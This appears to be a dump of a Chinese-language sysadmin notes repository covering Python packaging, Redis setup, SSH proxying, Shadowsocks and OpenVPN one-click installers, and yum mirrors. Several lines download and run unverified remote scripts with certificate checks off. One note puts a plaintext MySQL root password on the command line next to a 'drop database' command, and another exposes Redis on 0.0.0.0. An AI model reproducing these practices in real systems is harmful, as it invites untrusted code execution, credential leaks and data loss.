/python/pythony依赖包版本冲突的问题.md: -------------------------------------------------------------------------------- 1 | ``` 2 | 1、问题现象: 3 | ERROR: rtslib-fb 2.1.69 has requirement pyudev>=0.16.1, but you'll have pyudev 0.15 which is incompatible. 4 | ERROR: ipapython 4.6.5 has requirement dnspython>=1.15, but you'll have dnspython 1.12.0 which is incompatible. 5 | ERROR: ipapython 4.6.5 has requirement python-ldap>=3.0.0b1, but you'll have python-ldap 2.4.15 which is incompatible. 6 | 7 | 8 | 2、解决办法:(忽略旧版本,强制安装 --ignore-installed) 9 | pip install --ignore-installed rtslib-fb dnspython python-ldap pyudev -i https://mirrors.aliyun.com/pypi/simple/ 10 | ``` 11 | 参考资料: 12 | 13 | https://blog.csdn.net/qq_33733970/article/details/83111772 14 | -------------------------------------------------------------------------------- /python/python源代码文件加密.md: -------------------------------------------------------------------------------- 1 | # 1.使用cython保护python的代码 2 | 3 | ``` 4 | 先安装cython 5 | pip uninstall cython -y 6 | pip install --trusted-host mirrors.aliyun.com -i https://mirrors.aliyun.com/pypi/simple/ cython 7 | 8 | 然后安装python开发包 9 | centos系统下 10 | yum install python-devel 11 | 12 | 然后对python代码文件进行转换: 13 | cython hello.py --embed #把python代码转换成c代码 14 | 15 | 会生成一个名为hello.c的c语言的源文件。 16 | 然后使用gcc编译成二进制可执行文件,这时候需要制定头文件、编译选项、链接选项: 17 | 18 | gcc `python-config --cflags` `python-config --ldflags` hello.c -o hello 19 | 20 | 如果python版本较高的话可以使用 21 | 22 | gcc `python3-config --cflags --ldflags` hello.c -o hello 23 | 这样代码就被编译成二进制的可执行程序了。 24 | 25 | 链接错误的话试试: 26 | 27 | gcc `python-config --cflags` -o hello hello.c `python-config --ldflags` 28 | 29 | ``` 30 | 参考资料: 31 | 32 | https://www.jianshu.com/p/4ea3030d8d96 python源代码文件加密 33 | -------------------------------------------------------------------------------- /python/scripts/进阶遍历取值和lambda.md: -------------------------------------------------------------------------------- 1 | # 一、遍历取值 2 | ``` 3 | a=[{u'key': 310004788, u'doc_count': 93971}, {u'key': 310004790, u'doc_count': 93861}] 4 | b=[ x["key"] for x in a ] 5 | print b 6 | ``` 7 | ![python01](https://github.com/Lancger/opslinux/blob/master/images/python01.png) 8 | 9 | # 二、lambda 10 | ``` 11 | 一、看个例子: 12 | g = lambda x:x+1 13 | 14 | 看一下执行的结果: 15 | g(1) 16 | >>>2 17 | 18 | g(2) 19 | >>>3 20 | 21 | 可以这样认为,lambda作为一个表达式,定义了一个匿名函数,上例的代码x为入口参数,x+1为函数体,用函数来表示为: 22 | 1 def g(x): 23 | 2 return x+1 24 | 25 | 26 | 二、对于简单的函数,也存在一种简便的表示方式,即:lambda表达式 27 | 28 | # ###################### 普通函数 ###################### 29 | # 定义函数(普通方式) 30 | def func(arg): 31 | return arg + 1 32 | 33 | # 执行函数 34 | result = func(123) 35 | 36 | # ###################### lambda ###################### 37 | 38 | # 定义函数(lambda表达式) 39 | my_lambda = lambda arg : arg + 1 40 | 41 | # 执行函数 42 | result = my_lambda(123) 43 | 44 | 45 | 三、Python的lambda表达式基本语法是在冒号(:)左边放原函数的参数,可以有多个参数,用逗号(,)隔开即可;冒号右边是返回值。 46 | 47 | 实例: 48 | 49 | >>> def add(x,y): 50 | 51 | return(x + y) 52 | 53 | >>> add(10,20) 54 | 55 | 30 56 | 57 | >>> lambda x,y : (x + y) 58 | 59 | at 0x0295D420> 60 | 61 | >>> g = lambda x,y:(x + y) 62 | 63 | >>> g(10,20) 64 | 65 | 30 66 | ``` 67 | 68 | # 三、三元运算 69 | ``` 70 | # 普通条件语句 71 | if 1 == 1: 72 | name = 'wupeiqi' 73 | else: 74 | name = 'alex' 75 | 76 | # 三元运算 77 | name = 'wupeiqi' if 1 == 1 else 'alex' 78 | 79 | ``` 80 | 81 | 82 | 参考资料: 83 | 84 | https://www.cnblogs.com/caizhao/p/7905094.html 85 | -------------------------------------------------------------------------------- /python/zssh/python跳板机.md: -------------------------------------------------------------------------------- 1 | yum install mysql-devel 2 | yum install mysql-python 3 | 4 | 5 | wget --no-check-certificate https://bootstrap.pypa.io/get-pip.py 6 | python get-pip.py 7 | 8 | pip install -i https://pypi.douban.com/simple/ mysql-python 9 | 10 | #删库 11 | mysql -uroot -p1Qaz2Wsx3Edc -e 'drop database sa;' 12 | 13 | #建库 14 | mysql -uroot -p1Qaz2Wsx3Edc -e 'create database sa;' 15 | 16 | 17 | #建表 18 | use sa; 19 | create table password (ip varchar(15) primary key not null, muser varchar(15), mpass varchar(30)); 20 | 21 | #删记录 22 | mysql -uroot -p1Qaz2Wsx3Edc -e 'delete from sa.password where ip="120.79.210.87";' 23 | 24 | #测试 25 | root># python one_jump.py 120.79.210.87 26 | 27 | 28 | Tempzgb@ 29 | 30 | ### 参考文档: 31 | 32 | https://blog.csdn.net/u012974916/article/details/53316976 33 | -------------------------------------------------------------------------------- /redis/README.md: -------------------------------------------------------------------------------- 1 | 直接yum 安装的redis 不是最新版本 2 | 3 | ``` 4 | #刷新配置 5 | systemctl daemon-reload 6 | 7 | systemctl start redis 8 | systemctl restart redis 9 | systemctl stop redis 10 | 11 | #开机自启动 12 | systemctl enable redis 13 | systemctl disable redis 14 | 15 | #查看状态 16 | systemctl status redis 17 | ``` 18 | 19 | 20 | 参看资料: 21 | 22 | https://www.cnblogs.com/autohome7390/p/6433956.html 23 | 24 | https://blog.csdn.net/Fe_cow/article/details/89485883 Redis 基础入门 25 | 26 | https://www.cnblogs.com/Dy1an/category/1492872.html Redis专题博客 27 | -------------------------------------------------------------------------------- /redis/Redis-Migrate-Tool.md: -------------------------------------------------------------------------------- 1 | # 一、Redis 集群迁移工具,基于redis复制,快速,稳定。 2 | 3 | github链接:https://github.com/vipshop/redis-migrate-tool 4 | 5 | 6 | 迁移工具的来源可以是:单独的redis实例,twemproxy集群,redis cluster,rdb文件,aof文件。 7 | 8 | 迁移工具的目标可以是:单独的redis实例,twemproxy集群,redis cluster,rdb文件。 9 | 10 | 11 | 参考文档: 12 | 13 | https://www.oschina.net/p/redis-migrate-tool 14 | -------------------------------------------------------------------------------- /redis/Redis的内存碎片比过高的解决.md: -------------------------------------------------------------------------------- 1 | 参考资料: 2 | 3 | https://www.jianshu.com/p/a4cda37176f4?utm_campaign 记一次Redis的内存碎片比过高的解决 4 | -------------------------------------------------------------------------------- /redis/install/centos6-make-install.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /redis/install/centos6-yum-install.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /redis/install/centos7-yum-install.md: -------------------------------------------------------------------------------- 1 | # Centos7 yum install redis 2 | 3 | ## 直接yum 安装的redis 不是最新版本 4 | 5 | wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo 6 | 7 | yum install redis -y 8 | 9 | ## 如果要安装最新的redis,需要安装Remi的软件源,官网地址:http://rpms.famillecollet.com/ 10 | 11 | yum install -y http://rpms.famillecollet.com/enterprise/remi-release-7.rpm 12 | 13 | ## 然后可以使用下面的命令安装最新版本的redis: 14 | 15 | yum --enablerepo=remi install redis -y 16 | 17 | ## 安装完毕后,即可使用下面的命令启动redis服务 18 | 19 | service redis start 20 | 或者 21 | systemctl start redis 22 | 23 | ## redis安装完毕后,我们来查看下redis安装时创建的相关文件,如下: 24 | 25 | rpm -qa |grep redis 26 | 27 | rpm -ql redis 28 | 29 | 查看redis版本: 30 | 31 | redis-cli --version 32 | 33 | 34 | 35 | ## 设置为开机自动启动: 36 | 37 | chkconfig redis on 38 | 或者 39 | systemctl enable redis.service 40 | 41 | /usr/lib/systemd/system/redis.service 服务启动文件 42 | 43 | ## Redis开启远程登录连接,redis默认只能localhost访问,所以需要开启远程登录。解决方法如下: 44 | 45 | 在redis的配置文件/etc/redis.conf中 46 | 47 | 将bind 127.0.0.1 改成了 bind 0.0.0.0 48 | 49 | 然后要配置防火墙 开放端口6379 50 | 51 | 连接redis 52 | 53 | redis-cli 54 | 55 | 56 | https://www.cnblogs.com/autohome7390/p/6433956.html 57 | 58 | https://www.cnblogs.com/qianxiaoruofeng/p/8046570.html 59 | 60 | -------------------------------------------------------------------------------- /redis/redis-migrate-tool/README.md: -------------------------------------------------------------------------------- 1 | # 一、Redis 集群迁移工具,基于redis复制,快速,稳定。 2 | 3 | github链接:https://github.com/vipshop/redis-migrate-tool 4 | 5 | 6 | 迁移工具的来源可以是:单独的redis实例,twemproxy集群,redis cluster,rdb文件,aof文件。 7 | 8 | 迁移工具的目标可以是:单独的redis实例,twemproxy集群,redis cluster,rdb文件。 9 | 10 | 11 | 参考文档: 12 | 13 | https://www.oschina.net/p/redis-migrate-tool 14 | -------------------------------------------------------------------------------- /redis/redis同步限制问题.md: -------------------------------------------------------------------------------- 1 | ``` 2 | [28741] 11 Sep 16:39:36.381 # Client id=3860001 addr=10.100.99.81:33562 fd=78 name= age=61 idle=61 flags=S db=0 sub=0 psub=0 multi=-1 qbuf=0 qbuf-free=0 obl=15052 oll=10203 omem=268442168 events=rw cmd=psync scheduled to be closed ASAP for overcoming of output buffer limits. 3 | 4 | 5 | config set client-output-buffer-limit slave1024mb 256mb 0 6 | 7 | config set client-output-buffer-limit 'slave 1024000000 256000000 60' 8 | 9 | config set client-output-buffer-limit 'slave 0 0 0' 10 | 11 | ``` 12 | 13 | ``` 14 | echo never > /sys/kernel/mm/transparent_hugepage/enabled 15 | echo never > /sys/kernel/mm/transparent_hugepage/defrag 16 | 17 | 18 | #永久关闭 19 | [root@localhost ~]# vim /etc/rc.d/rc.local 20 | 21 | if test -f /sys/kernel/mm/transparent_hugepage/enabled; then 22 | echo never > /sys/kernel/mm/transparent_hugepage/enabled 23 | fi 24 | 25 | if test -f /sys/kernel/mm/transparent_hugepage/defrag; then 26 | echo never > /sys/kernel/mm/transparent_hugepage/defrag 27 | fi 28 | 29 | 授予执行权限 30 | [root@localhost ~]# chmod +x /etc/rc.d/rc.local 31 | ``` 32 | 参考资料: 33 | 34 | https://www.cnblogs.com/gangdou/p/7991754.html 记一次redis主从同步失败 35 | 36 | https://www.cndba.cn/zhasir/article/3438 37 | 38 | -------------------------------------------------------------------------------- /redis/分布式锁原理.md: -------------------------------------------------------------------------------- 1 | 参考文档: 2 | 3 | http://www.iocoder.cn/Fight/Popular-on-distributed-lock-read-do-not-understand-the-author-to-lose/ 通俗讲解分布式锁 4 | -------------------------------------------------------------------------------- /shadowsocks/README.md: -------------------------------------------------------------------------------- 1 | # 一、ss-panel-v3-mod一键前后端脚本 2 | 3 | ss-panel-v3-mod一键前后端脚本暂时做下收藏。 4 | 5 | 注意:环境要求:centos。 6 | 7 | 一键安装脚本: 8 | 9 | wget -N --no-check-certificate https://raw.githubusercontent.com/mmmwhy/ss-panel-and-ss-py-mu/master/ss-panel-v3-mod.sh && chmod +x ss-panel-v3-mod.sh && bash ss-panel-v3-mod.sh 10 | 11 | 12 | 一键安装备用脚本: 13 | 14 | wget -N --no-check-certificate https://raw.githubusercontent.com/hao35954514/ss-panel-and-ss-py-mu/master/ss-panel-v3-mod.sh && chmod +x ss-panel-v3-mod.sh && bash ss-panel-v3-mod.sh 15 | 16 | 17 | # 二、ss_go.sh 18 | 19 | ``` 20 | 脚本说明: Shadowsocks 一键安装管理脚本 21 | 系统支持: CentOS6+ / Debian6+ / Ubuntu14+ 22 | 使用方法: https://doub.io/ss-jc67/ 23 | 项目地址: https://github.com/shadowsocks/go-shadowsocks2 24 | 25 | 脚本特点: 26 | 27 | 目前网上的各个Shadowsocks脚本基本都是只有 安装/启动/重启 等基础功能,对于小白来说还是不够简单方便。既然是一键脚本,那么就要尽可能地简单,小白更容易接受使用 28 | 29 | wget -N --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/ss-go.sh && chmod +x ss-go.sh && bash ss-go.sh 30 | ``` 31 | 32 | # 三、浏览器直接翻墙 33 | ``` 34 | https://jsproxy.ga/-----https://www.google.com/ 35 | ``` 36 | 37 | 参考文档: 38 | 39 | http://www.tfss.me/article/26 40 | 41 | 42 | http://www.tfss.me/article/20#comment-29 搭建属于自己的科学代理服务器 43 | 44 | 45 | https://www.cnblogs.com/pigercc/p/6391147.html ss-panel安装笔记 46 | -------------------------------------------------------------------------------- /shadowsocks/SSH通过Socket5代理连接服务器.md: -------------------------------------------------------------------------------- 1 | # 一、ssh代理连接 2 | ``` 3 | 老规矩,先说结论: 4 | 5 | ssh -o ProxyCommand="nc -X 5 -x proxy.net:1080 %h %p" user@server.net 6 | 7 | ssh -o ProxyCommand="nc -X 5 -x localhost:1081 %h %p" root@13.106.208.193 -p 22 8 | ``` 9 | 10 | 11 | 参考资料: 12 | 13 | https://www.jianshu.com/p/f6990f3a52eb 14 | -------------------------------------------------------------------------------- /shadowsocks/SSH通过ssh -W代理连接服务器.md: -------------------------------------------------------------------------------- 1 | # 一、使用ssh -q -W代理连接 2 | 3 | ``` 4 | (demo3) ➜ .ssh pwd 5 | /Users/User01/.ssh 6 | 7 | (demo3) ➜ .ssh cat config 8 | Host 139.180.* 9 | User root 10 | Port 33389 11 | ProxyCommand ssh -q -W %h:%p gateway 12 | IdentityFile /Users/User01/OpenVpn/shadowsock/id_salt_rsa 13 | 14 | Host gateway 15 | HostName 47.11.120.190 16 | User root 17 | Port 22 18 | IdentityFile /Users/User01/UserFull/keys/ss_coin_1.pem 19 | ``` 20 | 21 | # 二、前提条件 22 | 23 | 1、本地机器与代理机器网络连通 24 | 25 | ``` 26 | #代理机器信息 27 | Host gateway 28 | HostName 47.11.120.190 29 | User root 30 | Port 22 31 | IdentityFile /Users/User01/UserFull/keys/ss_coin_1.pem 32 | 33 | #测试本机与代理机器的连通性 34 | (demo3) ➜ .ssh ssh -i /Users/User01/UserFull/keys/ss_coin_1.pem root@47.11.120.190 35 | Last login: Wed Sep 18 11:23:19 2019 from 290.170.11.129 36 | 37 | Welcome to Alibaba Cloud Elastic Compute Service 38 | ``` 39 | 40 | 2、代理机器与目标机器 41 | ``` 42 | #连接目标机器的信息 43 | 44 | Host 139.180.* #这里可以使用通配符 45 | User root 46 | Port 33389 47 | ProxyCommand ssh -q -W %h:%p gateway 48 | IdentityFile /Users/User01/OpenVpn/shadowsock/id_salt_rsa 49 | 50 | ``` 51 | 52 | # 三、测试连接 53 | ``` 54 | (demo3) ➜ .ssh ssh -p33389 root@139.180.22.30 55 | Last login: Wed Sep 18 11:25:23 2019 from 47.11.120.190 56 | 57 | salt-master<2019-09-18 11:39:24> ~ 58 | root># 59 | ``` 60 | 61 | -------------------------------------------------------------------------------- /shadowsocks/SecureCRT设置代理连接vpc内网.md: -------------------------------------------------------------------------------- 1 | # 一、设置代理机器证书登录 2 | 3 | ![SecureCRT代理1](https://github.com/Lancger/opslinux/blob/master/images/securecrt_proxy01.png) 4 | 5 | # 二、测试连接代理机器 6 | 7 | ![SecureCRT代理2](https://github.com/Lancger/opslinux/blob/master/images/securecrt_proxy02.png) 8 | 9 | # 三、目标机器使用代理连接 10 | 11 | ![SecureCRT代理2](https://github.com/Lancger/opslinux/blob/master/images/securecrt_proxy03.png) 12 | 13 | # 四、测试连接是否为代理连接 14 | 15 | ![SecureCRT代理2](https://github.com/Lancger/opslinux/blob/master/images/securecrt_proxy04.png) 16 | 17 | ![SecureCRT代理2](https://github.com/Lancger/opslinux/blob/master/images/securecrt_proxy05.png) 18 | -------------------------------------------------------------------------------- /shadowsocks/V2Ray搭建图文教程.md: -------------------------------------------------------------------------------- 1 | 参考资料: 2 | 3 | https://www.4spaces.org/digitalocean-build-v2ray-0-1/ 从零开始:史上最详尽V2Ray搭建图文教程 4 | -------------------------------------------------------------------------------- /shadowsocks/一键搭建电报专属代理MTPrpxy.md: -------------------------------------------------------------------------------- 1 | # 一、一键搭建MTPrpxy 2 | ``` 3 | 一键安装代码(centos其他系统请自行测试) 4 | 5 | cd /usr/local/src/ 6 | 7 | wget -N --no-check-certificate https://raw.githubusercontent.com/iiiiiii1/doubi/master/mtproxy_go.sh && bash mtproxy_go.sh 8 | ``` 9 | 10 | 参考资料: 11 | 12 | https://www.imclips.net/video/0bXtr_qW5mg.html 13 | -------------------------------------------------------------------------------- /vpn/README.md: -------------------------------------------------------------------------------- 1 | http://idc.wanyunshuju.com/li/621.html 如何在centos6.5搭建openvpn安装详细教程 2 | 3 | https://github.com/Lancger/openvpn-install openvpn专题 4 | 5 | https://www.vpngate.net/cn/howto_openvpn.aspx 通过使用 OpenVPN 协议连接到 VPN Gate 6 | 7 | -------------------------------------------------------------------------------- /vpn/openvpn一键安装脚本.md: -------------------------------------------------------------------------------- 1 | # 一、ubuntu配置openvpn 2 | ``` 3 | systemctl start openvpn@server 4 | 5 | ``` 6 | # 二、详细安装步骤 7 | ```bash 8 | 一、一键安装vpn 9 | 10 | [root@localhost mnt]# wget https://git.io/vpn -O openvpn-install.sh;bash openvpn-install.sh 11 | Welcome to this OpenVPN "road warrior" installer! 12 | 13 | I need to ask you a few questions before starting the setup. 14 | You can leave the default options and just press enter if you are ok with them. 15 | 16 | First, provide the IPv4 address of the network interface you want OpenVPN 17 | listening to. 18 | IP address: 10.50.215.95 ----直接回车 19 | 20 | This server is behind NAT. What is the public IPv4 address or hostname? 21 | Public IP address / hostname: 10.50.215.95 ---填写本机外网ip 22 | 23 | Which protocol do you want for OpenVPN connections? --默认1可以直接回车,自行选择 24 | 1) UDP (recommended) 25 | 2) TCP 26 | Protocol [1-2]: 2 27 | 28 | What port do you want OpenVPN listening to? --默认1可以直接回车,自行选择 29 | Port: 1194 30 | 31 | Which DNS do you want to use with the VPN? --默认1可以直接回车,自行选择 32 | 1) Current system resolvers 33 | 2) 1.1.1.1 34 | 3) Google 35 | 4) OpenDNS 36 | 5) Verisign 37 | DNS [1-5]: 3 38 | 39 | Finally, tell me your name for the client certificate. 40 | Please, use one word only, no special characters. 41 | Client name: client --创建vpn用户,默认client,可以直接回车,自行选择 42 | ……………………………………………………………………………………………………………………………… 43 | ……………………………………………………………………………………………………………………………… 44 | Your client configuration is available at: /root/client.ovpn 45 | If you want to add more clients, you simply need to run this script again! 46 | ``` 47 | 48 | 参考资料: 49 | 50 | https://blog.csdn.net/zzhlinux911218/article/details/85761991 51 | -------------------------------------------------------------------------------- /vpn/实用GeoIP2数据库.md: -------------------------------------------------------------------------------- 1 | 参考资料: 2 | 3 | https://github.com/Hackl0us/GeoIP2-CN 小巧精悍、准确、实用 GeoIP2 数据库 4 | -------------------------------------------------------------------------------- /yum/README.md: -------------------------------------------------------------------------------- 1 | ## 一、yum报错 2 | 3 | ### 报错一 4 | 5 | ``` 6 | root># yum install iftop 7 | Loaded plugins: fastestmirror 8 | Loading mirror speeds from cached hostfile 9 | * base: mirrors.aliyun.com 10 | * epel: my.fedora.ipserverone.com 11 | * extras: mirrors.163.com 12 | * updates: mirrors.163.com 13 | Resolving Dependencies 14 | There are unfinished transactions remaining. You might consider running yum-complete-transaction, or "yum-complete-transaction --cleanup-only" and "yum history redo last", first to finish them. If those don't work you'll have to try removing/installing packages by hand (maybe package-cleanup can help). 15 | ``` 16 | 17 | ### 解决办法: 18 | ``` 19 | yum install yum-utils -y 20 | 21 | yum-complete-transaction --cleanup-only 22 | ``` 23 | -------------------------------------------------------------------------------- /yum/yum.md: -------------------------------------------------------------------------------- 1 | ## 一、更新阿里云的yum源 2 | ```bash 3 | #下载wget 4 | yum install wget -y 5 | 6 | #备份当前的yum源 7 | mv /etc/yum.repos.d /etc/yum.repos.d_backup 8 | 9 | #新建空的yum源设置目录 10 | mkdir /etc/yum.repos.d 11 | 12 | #centos7系统 13 | wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.163.com/.help/CentOS7-Base-163.repo 14 | wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo 15 | 16 | #centos6系统 17 | wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.163.com/.help/CentOS6-Base-163.repo 18 | wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-6.repo 19 | ``` 20 | ## 二、重建缓存 21 | ```bash 22 | yum clean all 23 | yum makecache 24 | ``` 25 | 26 | ## 三、更新epel源 27 | ```bash 28 | #通用 29 | yum install epel-release -y 30 | 31 | #centos7系统 32 | wget https://mirrors.aliyun.com/repo/epel-7.repo 33 | wget -O /etc/yum.repos.d/epel-7.repo https://mirrors.aliyun.com/repo/epel-7.repo 34 | 35 | #centos6系统 36 | wget -O /etc/yum.repos.d/epel-6.repo https://mirrors.aliyun.com/repo/epel-6.repo 37 | ``` 38 | -------------------------------------------------------------------------------- /zookeeper/CentOS7安装zookeeper.md: -------------------------------------------------------------------------------- 1 | ```yaml 2 | cd /usr/local/src/ 3 | 4 | yum install wget -y 5 | wget http://mirror.bit.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz 6 | 7 | curl -O http://mirror.bit.edu.cn/apache/zookeeper/zookeeper-3.4.12/zookeeper-3.4.12.tar.gz 8 | ``` 9 | 10 | 11 | 12 | 13 | 参考资料: 14 | 15 | https://www.jianshu.com/p/65bca535e25f linux CentOS7 安装 zookeeper 16 | -------------------------------------------------------------------------------- /zookeeper/README.md: -------------------------------------------------------------------------------- 1 | 参考资料: 2 | 3 | https://www.cnblogs.com/hongdada/p/8117677.html ZooKeeper 增加Observer部署模式提高性能 4 | 5 | https://blog.csdn.net/hchaoh/article/details/103907418 Zookeeper 查看 Dubbo 服务列表 6 | -------------------------------------------------------------------------------- /zookeeper/Zookeeper单机器docker伪集群.md: -------------------------------------------------------------------------------- 1 | 参考文档: 2 | 3 | https://segmentfault.com/a/1190000006907443 使用 Docker 一步搞定 ZooKeeper 集群的搭建 4 | -------------------------------------------------------------------------------- /生成 GitHub README.md: -------------------------------------------------------------------------------- 1 | # 安装 2 | ```bash 3 | wget https://raw.githubusercontent.com/ekalinin/github-markdown-toc/master/gh-md-toc 4 | chmod a+x gh-md-toc 5 | 6 | # 配置别名 7 | alias ghtoc="~/gh-md-toc" 8 | 9 | ghtoc ~/projects/README.md 10 | ``` 11 | 参考文档: 12 | 13 | https://www.sleepeatcode.com/articles/15/generating-the-github-readme-directory#GFM 生成 GitHub README.md 目录 14 | -------------------------------------------------------------------------------- /面试技巧/架构.md: -------------------------------------------------------------------------------- 1 | 十亿并发架构 2 | 3 | 先是DNS,然后LVS,然后各级反代,然后每个服务RPC架构,再是消息队列、缓存什么的 4 | --------------------------------------------------------------------------------